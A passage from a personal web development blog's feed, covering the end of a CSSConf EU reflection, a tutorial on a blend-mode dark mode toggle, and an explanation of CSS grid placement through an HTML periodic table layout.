&lt;img srcset=&quot;/images/posts/cssconfeu/home-stage-480.jpg 480w, /images/posts/cssconfeu/home-stage-640.jpg 640w, /images/posts/cssconfeu/home-stage-960.jpg 960w, /images/posts/cssconfeu/home-stage-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/cssconfeu/home-stage-640.jpg&quot; alt=&quot;Family photo at the end of CSSConf EU 2018&quot;&gt;
&lt;p&gt;Fast forward 1 year later, as I was returning to Singapore from a conference in Vilnius, I missed my connection from Berlin and was stuck in Berlin for an additional 24 hours. With my best mate, &lt;a href=&quot;https://twitter.com/wgao19&quot;&gt;Wei&lt;/a&gt;, whom I had dragged out from Singapore to go to the conference with me.&lt;/p&gt;
&lt;p&gt;If this had happened to me a year ago, I would have been less chill than I was. I wouldn&apos;t have known where to go or who to reach out to at 11pm when Tegel Airport clearly stops working.&lt;/p&gt;
&lt;p&gt;But in 2019, I did know people to reach out to, and I had explored Berlin before and so we had a pretty good 24 hours before going home.&lt;/p&gt;
&lt;p&gt;When I heard this was going to be the last CSSConf EU (or at least in this current format), I was sad at first, because it felt like an era was coming to an end.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Dear community, we have one of the bigger and tougher announcements to make. CSSconf EU 2019 will be the last edition of the event in its current form. We will not return in 2020. Read more: &lt;a href=&quot;https://t.co/puu7rIIrJX&quot;&gt;https://t.co/puu7rIIrJX&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/LastOfType?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#LastOfType&lt;/a&gt; &lt;a href=&quot;https://twitter.com/hashtag/CSSconfEU?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#CSSconfEU&lt;/a&gt; &lt;a href=&quot;https://t.co/eZRGBVv7qD&quot;&gt;pic.twitter.com/eZRGBVv7qD&lt;/a&gt;&lt;/p&gt;&amp;mdash; CSSconf EU (@CSSconfeu) &lt;a href=&quot;https://twitter.com/CSSconfeu/status/1125387138797920256?ref_src=twsrc%5Etfw&quot;&gt;6 May 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;But all good things must come to an end. And the organisers have done such a good job for so long, they&apos;ve earned a well-deserved break.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/cssconfeu/last-480.jpg 480w, /images/posts/cssconfeu/last-640.jpg 640w, /images/posts/cssconfeu/last-960.jpg 960w, /images/posts/cssconfeu/last-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/cssconfeu/last-640.jpg&quot; alt=&quot;CSSConf EU 2019, last-of-type&quot;&gt;
&lt;p&gt;Sareh delivered a beautiful and heartfelt closing keynote, marking the end of a remarkable run.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/cssconfeu/sareh-480.jpg 480w, /images/posts/cssconfeu/sareh-640.jpg 640w, /images/posts/cssconfeu/sareh-960.jpg 960w, /images/posts/cssconfeu/sareh-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/cssconfeu/sareh-640.jpg&quot; alt=&quot;Sareh on stage, delivering her closing keynote&quot;&gt;
&lt;p&gt;And now when I think of CSSConf EU, I am filled with appreciation and gratitude. Grateful that I got to be part of this wonderful community, thankful I got to speak in front of the most supportive and kind audience, blessed that I now have friends in this part of the world.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/cssconfeu/end-480.jpg 480w, /images/posts/cssconfeu/end-640.jpg 640w, /images/posts/cssconfeu/end-960.jpg 960w, /images/posts/cssconfeu/end-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/cssconfeu/end-640.jpg&quot; alt=&quot;CSSConf EU 2019 family photo&quot;&gt;
&lt;p&gt;My life changed because of CSSConf EU. It is better now.&lt;/p&gt;
&lt;p&gt;So thank you, from the bottom of my heart. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;folded hands&quot;&gt;🙏&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Friends don&apos;t let friends implement dark mode alone</title><link>https://chenhuijing.com/blog/friends-dont-let-friends-implement-dark-mode-alone/</link><guid isPermaLink="true">https://chenhuijing.com/blog/friends-dont-let-friends-implement-dark-mode-alone/</guid><description>So I have this friend, Wei, who&apos;s basically an expert with CSS blend modes, right? And she came up with a really interesting method to implement dark mode on…</description><pubDate>Fri, 24 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So I have &lt;a href=&quot;https://twitter.com/wgao19&quot;&gt;this friend, Wei&lt;/a&gt;, who&apos;s basically an expert with CSS blend modes, right? And she came up with a really interesting method to implement dark mode on her site with blend modes. Then &lt;a href=&quot;https://dev.wgao19.cc/sun-moon-blending-mode/&quot;&gt;wrote about it&lt;/a&gt;, because sharing is caring.&lt;/p&gt;
&lt;p&gt;It just so happens that my site&apos;s generally green-ish theme gets blended into purple with the technique she described, so I figured it&apos;s time to add an experimental feature to my site. I also want to highlight that she really does it 1000 times better on &lt;a href=&quot;https://dev.wgao19.cc/&quot;&gt;her own site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you use React, you&apos;re in luck because she&apos;s released it as &lt;a href=&quot;https://github.com/wgao19/sun-moon-toggle&quot;&gt;a plugin&lt;/a&gt; you can install and add some blend mode goodness to your site as well. But I&apos;m clearly not a cool kid who uses React. So maybe don&apos;t do what I did if you&apos;re running something similar?&lt;/p&gt;
&lt;h2&gt;The gist of it&lt;/h2&gt;
&lt;p&gt;This particular technique involves overlaying a &lt;code&gt;div&lt;/code&gt; which takes up the full viewport, has the same colour as your main background and a &lt;code&gt;mix-blend-mode&lt;/code&gt; of &lt;code&gt;difference&lt;/code&gt;, over your site. That was a horrible sentence, I&apos;m sorry.&lt;/p&gt;
&lt;p&gt;What blend modes do is mix the colours of the source element with the content behind it via a “mixing” formula. Each of the different blend mode values are essentially combining the 2 colours in according to different formulas.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/blend-dark-mode/difference-480.png 480w, /images/posts/blend-dark-mode/difference-640.png 640w, /images/posts/blend-dark-mode/difference-960.png 960w, /images/posts/blend-dark-mode/difference-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/blend-dark-mode/difference-640.png&quot; alt=&quot;Simplified diagram of how difference works for blend modes&quot;&gt;
&lt;p&gt;For an in-depth explanation on the intuition behind the math, you should &lt;a href=&quot;https://www.youtube.com/watch?v=iUoon3GneRA&quot;&gt;watch Wei talk about it&lt;/a&gt; at &lt;a href=&quot;https://singaporecss.github.io/38/&quot;&gt;Talk.CSS #38&lt;/a&gt;. I&apos;m just the friend who steals her friend&apos;s code, or at least, some of it.&lt;/p&gt;
&lt;p&gt;First of all, we need a &lt;code&gt;div&lt;/code&gt; for your site to blend with. This &lt;code&gt;div&lt;/code&gt; has to be on top of everything else, so put it just inside your &lt;code&gt;body&lt;/code&gt; element for optimum results. To make it cover the entire viewport, you can do something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.blender {
  position: fixed;
  height: 100vh;
  width: 100vw;
  background-color: color(&amp;quot;sugarcane&amp;quot;);
  mix-blend-mode: difference;
  pointer-events: none;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And you should see your site colours magically invert before your very eyes.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/blend-dark-mode/light-dark-480.png 480w, /images/posts/blend-dark-mode/light-dark-640.png 640w, /images/posts/blend-dark-mode/light-dark-960.png 960w, /images/posts/blend-dark-mode/light-dark-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/blend-dark-mode/light-dark-640.png&quot; alt=&quot;Screenshot of Hui Jing&apos;s website comparing light mode on the left with dark mode on the right&quot;&gt;
&lt;h2&gt;But wait, there&apos;s more…&lt;/h2&gt;
&lt;p&gt;But this isn&apos;t exactly what I wanted. At least, not yet. What we need next, is a toggle. In case you hadn&apos;t cued in, my site is sort of, kind of Minecraft-y. So why not use the sun and moon from Minecraft? Either people can tell, or they won&apos;t. It doesn&apos;t matter either way.&lt;/p&gt;
&lt;p&gt;My toggle is actually a checkbox with a souped-up label. Because I&apos;m using the checkbox as a state tracker. You&apos;ll see later. Theoretically, this can go anywhere because it&apos;s going to be explicitly positioned but I put mine directly under the full-screen &lt;code&gt;div&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;input type=&amp;quot;checkbox&amp;quot; class=&amp;quot;blend-checkbox&amp;quot; id=&amp;quot;blendToggle&amp;quot; /&amp;gt;
&amp;lt;label for=&amp;quot;blendToggle&amp;quot; class=&amp;quot;blend-toggle&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s going to be a round thingy people can click on with the Minecraft sun applied as a background image, so apply styles like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.blend-toggle {
  position: fixed;
  height: 3rem;
  width: 3rem;
  left: 1rem;
  bottom: 1rem;
  border-radius: 50%;
  background-image: url(&amp;quot;/images/sun.png&amp;quot;);
  background-position: center;
  background-size: cover;
  z-index: 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;…there&apos;s more…&lt;/h2&gt;
&lt;p&gt;Now, we could switch the checkbox with the full-screen &lt;code&gt;div&lt;/code&gt; then use the sibling selector to activate the &lt;code&gt;div&lt;/code&gt; when the checkbox is checked and handle this whole thing without JavaScript, but turns out in order to keep state between pages, even the hackiest method needs some help from JavaScript.&lt;/p&gt;
&lt;p&gt;My hackiest method here refers to using &lt;code&gt;localStorage&lt;/code&gt; to determine if the user toggled dark mode or not. But I&apos;m still using the checkbox status to keep track of what CSS class needs to be applied to make the &lt;code&gt;div&lt;/code&gt; “active”.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const blendCheckbox = document.getElementById(&amp;quot;blendToggle&amp;quot;);
const blender = document.getElementById(&amp;quot;blender&amp;quot;);
blendCheckbox.addEventListener(&amp;quot;click&amp;quot;, toggleBlend, false);

function toggleBlend(e) {
  if (e.target.checked) {
    localStorage.checked = true;
    blender.classList.add(&amp;quot;active&amp;quot;);
  } else {
    localStorage.checked = &amp;quot;&amp;quot;;
    blender.classList.remove(&amp;quot;active&amp;quot;);
  }
}

(function () {
  blendCheckbox.checked = localStorage.checked;
  if (localStorage.checked) {
    blender.classList.add(&amp;quot;active&amp;quot;);
  } else {
    blender.classList.remove(&amp;quot;active&amp;quot;);
  }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So Wei&apos;s site when viewed on desktop has this fancy expansion of the full-screen &lt;code&gt;div&lt;/code&gt; from behind the toggle which looks kinda cool, so of course I was going to steal that. But I just based it on viewport width instead, so anything larger than &lt;code&gt;960px&lt;/code&gt; gets that, and everything below gets fade in/out effect.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.blender {
  position: fixed;
  background-color: color(&amp;quot;sugarcane&amp;quot;);
  mix-blend-mode: difference;
  pointer-events: none;
}

@media screen and (max-width: 959px) {
  .blender {
    opacity: 0;
    height: 100vh;
    width: 100vw;
    transition: opacity 0.5s ease;
  }
}

@media screen and (min-width: 960px) {
  .blender {
    height: 3rem;
    width: 3rem;
    left: 1rem;
    bottom: 1rem;
    border-radius: 50%;
    left: calc(50% - 24rem);
    transition: transform 0.7s ease-out;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the toggle is clicked, if the checkbox is checked, then an &lt;code&gt;active&lt;/code&gt; class is applied to the full-screen &lt;code&gt;div&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@media screen and (max-width: 959px) {
  .blender.active {
    opacity: 1;
  }
}

@media screen and (min-width: 960px) {
  .blender.active {
    transform: scale(100);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;…there&apos;s always more&lt;/h2&gt;
&lt;p&gt;Most of the stuff on the site is safe to invert, but there are some things, like images or emojis which are better off left as they were, so in comes the &lt;code&gt;isolation&lt;/code&gt; property. Setting it to a value of &lt;code&gt;isolate&lt;/code&gt; turns the element into a stacking context, excluding it from being blended.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.blender.active ~ .blend-toggle {
  background-image: url(&amp;quot;/images/moon.png&amp;quot;);
  isolation: isolate;
}

img,
.external-url::before,
.emoji {
  isolation: isolate;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We also want our toggle to be keyboard accessible, so add in a &lt;code&gt;:focus&lt;/code&gt; state and style it however you like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.blend-checkbox:focus ~ label {
  outline: 5px auto -webkit-focus-ring-color;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lastly, we need to take into account all the browsers that do not support CSS blend modes, like the pre-Chromium Edge browser, for example.&lt;/p&gt;
&lt;p&gt;So wrap all the blend mode related stuff within a feature query and users of those browsers will be none the wiser. This is experimental anyway so they&apos;re not missing anything.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@supports (mix-blend-mode: difference) {
  /* All the blender, toggle and whatever goes here */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Why my implementation is not great&lt;/h2&gt;
&lt;p&gt;If you tried this experimental feature on my site, you&apos;ll notice that between pages, because of latency with the JavaScript checking &lt;code&gt;localStorage&lt;/code&gt; to apply the relevant CSS class, there&apos;s a flash of light between the dark modes.&lt;/p&gt;
&lt;p&gt;It&apos;s highly not ideal. Wei&apos;s site is smooth as butter because React is taking care of things under the hood (at least I think that&apos;s the reason, but what do I know). My point is, this works on my site but it certainly isn&apos;t pretty.&lt;/p&gt;
&lt;p&gt;Regardless, it was fun to implement and I&apos;ll keep it on there just to annoy people who disdain that flash of lightness between pages if they so happen to toggle dark mode. Because I&apos;m not a very nice person.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Recently, Firefox 67 has started to support &lt;code&gt;prefers-color-scheme&lt;/code&gt;, which allows sites to adopt their styles to match an user&apos;s preference to light or dark schemes. This is supported in Safari as well, with Chrome coming in later this year.&lt;/p&gt;
&lt;p&gt;That&apos;s probably going to be THE way to do dark mode moving forward, but this experiment isn&apos;t about dark mode per se, it&apos;s about blend modes. Sort of.&lt;/p&gt;
&lt;p&gt;So, yeah, it&apos;s your site and your content. Do whatever pleases you.&lt;/p&gt;
&lt;p&gt;Because you&apos;re worth it.&lt;/p&gt;
</content:encoded></item><item><title>Understanding grid placement through building a HTML periodical table</title><link>https://chenhuijing.com/blog/understanding-grid-placement/</link><guid isPermaLink="true">https://chenhuijing.com/blog/understanding-grid-placement/</guid><description>I&apos;ve been using CSS grid to build layouts for quite a while now, and all my designs to date involved either a handful of explicitly placed individual grid…</description><pubDate>Mon, 06 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve been using CSS grid to build layouts for quite a while now, and all my designs to date involved either a handful of explicitly placed individual grid items, or 100% automatic placement. I hadn&apos;t had to design the gaps between the grid before, but then one fine day in March, I found a HTML periodical table on &lt;a href=&quot;https://websitesetup.org/html5-periodical-table/&quot;&gt;WebsiteSetupOrg&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It looks different now than when I first saw it, because the version I saw spelt out HTML and I was totally into that. Upon my usual right-click inspect, I noticed that the layout wasn&apos;t using Grid, but my Grid-infused brain thought it could, so I decided to recreate the design using a Grid layout.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;I had plans today, but then I got distracted and made a periodic table of HTML elements. &lt;br&gt;Inspiration from @RobMening&amp;#39;s project, based on idea by &lt;a href=&quot;https://twitter.com/joshduck?ref_src=twsrc%5Etfw&quot;&gt;@joshduck&lt;/a&gt;. Also referenced a lot from &lt;a href=&quot;https://twitter.com/MikeRiethmuller?ref_src=twsrc%5Etfw&quot;&gt;@MikeRiethmuller&lt;/a&gt;&amp;#39;s implementation&lt;a href=&quot;https://twitter.com/hashtag/css?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#css&lt;/a&gt;&lt;a href=&quot;https://t.co/lkcXrzIU75&quot;&gt;https://t.co/lkcXrzIU75&lt;/a&gt; via &lt;a href=&quot;https://twitter.com/CodePen?ref_src=twsrc%5Etfw&quot;&gt;@CodePen&lt;/a&gt;&lt;/p&gt;&amp;mdash; HJ Chen @ ImageCon 🇺🇲 (@hj_chen) &lt;a href=&quot;https://twitter.com/hj_chen/status/1107574073041645568?ref_src=twsrc%5Etfw&quot;&gt;March 18, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;h2&gt;Grid manual placement&lt;/h2&gt;
&lt;p&gt;One of the best parts of using Grid for layout is the ability to place grid items exactly where you want on the grid you designed. Most of the planning for such designs would go into the actual grid itself.&lt;/p&gt;
&lt;p&gt;But as a quick recap to how this works, let&apos;s look at a relatively simple 3x3 grid, with 3 grid items on it. The Firefox grid inspector is turned on so we know which lines to assign our pieces to.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Like chess pieces on a chessboard&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/grid-placement/manual.png&quot; srcset=&quot;/images/posts/grid-placement/manual@2x.png 2x&quot; alt=&quot;Screenshot of a 3x3 grid with 3 grid items styled like a chessboard and pieces&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Actual visual styling aside, this is how the grid code looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid {
  display: grid;
  grid-template-columns: repeat(3, 24vmin);
  grid-template-rows: repeat(3, 24vmin);
}

.grid__item:first-child {
  grid-row: 3;
}

.grid__item:nth-child(2) {
  grid-row: 2;
  grid-column: 2;
}

.grid__item:nth-child(3) {
  grid-row: 3;
  grid-column: 3;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;grid-row&lt;/code&gt; and &lt;code&gt;grid-column&lt;/code&gt; are shorthands to set the start and end line their respective dimensions. Grid items by default will only take up a single grid cell, so it works fine even though I only specify the start line without the end line for either property.&lt;/p&gt;
&lt;p&gt;The concept behind manual placement of grid items is that you can position your item on the grid based on row and column numbers. No need for overly complicated positioning rules and calculations.&lt;/p&gt;
&lt;h2&gt;Grid automatic placement&lt;/h2&gt;
&lt;p&gt;If we have a large number of grid items and we don&apos;t really want to explicitly place them all, there is &lt;a href=&quot;https://www.w3.org/TR/css-grid-1/#auto-placement-algo&quot;&gt;a 5-step algorithm&lt;/a&gt; browsers use to determine how to place grid items that do not have an explicit grid position defined. Assume flow direction is &lt;code&gt;row&lt;/code&gt; for the following explanation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 0: Generate anonymous grid items&lt;/strong&gt;&lt;br&gt;
If there any contiguous sequence of child text runs, which means a bunch of text without any tags around them, the browser will wrap it up in an &lt;em&gt;anonymous block container grid item&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Let&apos;s talk a bit about anonymous items here. Everything on a web page is a box. There are many different types of boxes, but a box is still a box. So if you have some stuff that isn&apos;t associated with any element, like a run of text, the browser will generate anonymous boxes for them.&lt;/p&gt;
&lt;p&gt;From the specification, it says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Anonymous boxes are generated in certain circumstances to fix up the box tree when it requires a particular nested structure that is not provided by the boxes generated from the element tree.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Below, we have an example of a &lt;code&gt;p&lt;/code&gt; block element containing anonymous text interspersed with &lt;code&gt;em&lt;/code&gt; and &lt;code&gt;strong&lt;/code&gt;:&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-placement/anonymous-480.png 480w, /images/posts/grid-placement/anonymous-640.png 640w, /images/posts/grid-placement/anonymous-960.png 960w, /images/posts/grid-placement/anonymous-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-placement/anonymous-640.png&quot; alt=&quot;Inline box construction showing 3 anonymous line boxes and 2 element line boxes&quot;&gt;
&lt;p&gt;The browser will establish the &lt;code&gt;p&lt;/code&gt; element as the containing block for the 5 inline boxes, of which 3 of them are anonymous. Anonymous boxes only exist in the box tree and inherit properties through their box tree parentage.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Position anything that’s not auto-positioned.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Process items locked to a given row.&lt;/strong&gt;&lt;br&gt;
For each grid item with an explicit &lt;code&gt;grid-row-start&lt;/code&gt; and &lt;code&gt;grid-row-end&lt;/code&gt; value, put the item on the earliest column-start line which:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;doesn&apos;t cause overlap with any occupied grid cells&lt;/li&gt;
&lt;li&gt;and is past the previous grid item placed this way.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the packing is set to &lt;code&gt;dense&lt;/code&gt;, then ignore the second bit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Determine the columns in the implicit grid.&lt;/strong&gt;&lt;br&gt;
To create columns of the implicit grid, the browser will start off from the explicit grid columns. Then, for all items with a defined column position, add implicit columns to the start and end of the implicit grid to accommodate them.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;When Firefox DevTools is better, but you have to use Chrome because of a bug in implementation &lt;span class=&quot;kaomoji&quot;&gt;ಠ_ಠ&lt;/span&gt;&lt;/figcaption&gt;
  &lt;img srcset=&quot;/images/posts/grid-placement/implicit-480.png 480w, /images/posts/grid-placement/implicit-640.png 640w, /images/posts/grid-placement/implicit-960.png 960w, /images/posts/grid-placement/implicit-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-placement/implicit-640.png&quot; alt=&quot;Box placed outside the explicit grid, causing the generation of implicit grid columns to accommodate it&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;The example above is a 4x3 explicit grid, but the &lt;code&gt;.rogue&lt;/code&gt; grid item has been placed on grid column &lt;code&gt;8&lt;/code&gt;, which resulted in the generation of 4 more implicit columns after the explicit grid.&lt;/p&gt;
&lt;p&gt;If the largest column span among all items &lt;em&gt;without&lt;/em&gt; a defined column position exceeds the column count of the implicit grid, add more columns to the end to accommodate that column span.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-placement/implicit-grid-480.png 480w, /images/posts/grid-placement/implicit-grid-640.png 640w, /images/posts/grid-placement/implicit-grid-960.png 960w, /images/posts/grid-placement/implicit-grid-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-placement/implicit-grid-640.png&quot; alt=&quot;Implicit grid tracks generated to accommodate a grid item placed on column 6 but spans 3 columns, resulting in the generation of 6 more implicit columns&quot;&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Position the remaining items.&lt;/strong&gt;&lt;br&gt;
There is something called an &lt;em&gt;auto-placement cursor&lt;/em&gt;, which we &lt;strong&gt;don&apos;t see&lt;/strong&gt;, but it determines the current “insertion point” in the grid. This point is specified as a pair of row and column grid lines.&lt;/p&gt;
&lt;p&gt;If there are any items left over after the previous steps have run, there are 4 possible scenarios that will affect the placement of these left-over items.&lt;/p&gt;
&lt;p&gt;When the grid packing is the default value of &lt;code&gt;sparse&lt;/code&gt;, and the grid item has a defined column position:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Set the cursor&apos;s column position to that column-start value. If this is less than the previous column position of the cursor, increment the row position by 1.&lt;/li&gt;
&lt;li&gt;Increment the cursor&apos;s row position until the grid item does not overlap any occupied grid cells, creating implicit rows as necessary.&lt;/li&gt;
&lt;li&gt;Set row-start value of the grid item to the cursor&apos;s row position and row-end value based on its span from its row-start value.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When the grid packing is the default value of &lt;code&gt;sparse&lt;/code&gt;, and the grid item is automatically positioned on either axis:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Increment the cursor&apos;s column position until the grid item does not overlap any occupied grid cells, or until the cursor&apos;s column position plus the grid item&apos;s span overflows the implicit columns generated in step 3&lt;/li&gt;
&lt;li&gt;Once an appropriate cursor column position is found, set the grid item&apos;s row-start and column-start to the cursor position. Otherwise, increase the cursor&apos;s row position, creating implicit rows as necessary, and set the cursor column position to the start-most column on the implicit grid.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When the grid packing is the default value of &lt;code&gt;dense&lt;/code&gt;, and the grid item has a defined column position:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Set the cursor&apos;s column position to that column-start value. Set the cursor&apos;s row position to the start-most row in the implicit grid.&lt;/li&gt;
&lt;li&gt;Increment the cursor&apos;s row position until the grid item does not overlap any occupied grid cells, creating implicit rows as necessary.&lt;/li&gt;
&lt;li&gt;Set row-start value of the grid item to the cursor&apos;s row position.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When the grid packing is the default value of &lt;code&gt;dense&lt;/code&gt;, and the grid item is automatically positioned on either axis:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Set the cursor&apos;s row and column position to the start-most row and column lines of the implicit grid.&lt;/li&gt;
&lt;li&gt;Increment the cursor&apos;s column position until the grid item doesn&apos;t overlap any occupied cells, or until the cursor column position plus the grid item&apos;s span overflows the implicit columns generated in step 3.&lt;/li&gt;
&lt;li&gt;Once an appropriate cursor column position is found, set the grid item&apos;s row-start and column-start to the cursor position. Otherwise, increase the cursor&apos;s row position, creating implicit rows as necessary, and set the cursor column position to the start-most column on the implicit grid.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Building the layout&lt;/h2&gt;
&lt;p&gt;The target design I had in mind looked like this when plotted onto a 20x10 grid:&lt;/p&gt;
&lt;img src=&quot;/images/posts/grid-placement/html-grid.svg&quot; alt=&quot;Mock-up of the letters HTML in a 20x10 grid&quot;&gt;
&lt;p&gt;But wait, if you look a little closer, you&apos;ll notice something is not quite aligned properly.&lt;/p&gt;
&lt;img src=&quot;/images/posts/grid-placement/html-grid2.svg&quot; alt=&quot;Diagram showing misaligned tiles in the letter M&quot;&gt;
&lt;p&gt;You know what this means? More columns, that&apos;s what. This is the part of the design phase I call &lt;strong&gt;grid planning&lt;/strong&gt;. For something like that, you can either go analogue (which is how I like to do it), or import the image into any program that lets you draw lines over it.&lt;/p&gt;
&lt;p&gt;From there, you can figure out the least possible number of rows and columns that you can get away with, while still having your every one of your grid items aligned to a grid line.&lt;/p&gt;
&lt;img src=&quot;/images/posts/grid-placement/html-grid3.svg&quot; alt=&quot;Mock-up of the letters HTML in a 40x10 grid&quot;&gt;
&lt;p&gt;So 40x10 it is.&lt;/p&gt;
&lt;h3&gt;Building the grid&lt;/h3&gt;
&lt;p&gt;Can&apos;t have a grid of elements without some markup. For this, you could choose to flow your markup either row or column, you can affect the direction the grid items are laid out with the &lt;code&gt;grid-auto-flow&lt;/code&gt; property. I&apos;m going to go with the default of row. So the markup assumes a left-to-right, top-to-bottom order.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s create a grid with 40 columns and 10 rows.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.elements {
  display: grid;
  grid-template-columns: repeat(40, 5ch);
  grid-template-rows: repeat(10, auto);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Positioning the elements&lt;/h3&gt;
&lt;p&gt;We also want each grid item to span 2 grid horizontal grid cells.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.element {
  grid-column: span 2;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now is when the diagram comes in handy, because you can figure out which columns you want to “push” the rest of the grid items in the row to recreate the letters, HTML, on the grid.&lt;/p&gt;
&lt;img src=&quot;/images/posts/grid-placement/classes.svg&quot; alt=&quot;Adding classes for easier column position assignment&quot;&gt;
&lt;p&gt;There are 5 “full columns” of grid items in the design. Instead of plotting each grid item, we can make use of our newfound understanding of auto-placement to ”push” out the required whitespace between grid items with CSS classes. Then for the more specific positions, we can just target those with specific classes instead.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.col5 {
  grid-column: 9 / span 2;
}
.col8 {
  grid-column: 15 / span 2;
}
.col11 {
  grid-column: 21 / span 2;
}
.col15 {
  grid-column: 29 / span 2;
}
.col20 {
  grid-column: 39 / span 2;
}

.h1 {
  grid-column: 27 / span 2;
}
.h4 {
  grid-column: 24 / span 2;
}
.h3 {
  grid-column: 25 / span 2;
}
.html {
  grid-column: 20 / span 2;
}
&lt;/code&gt;&lt;/pre&gt;
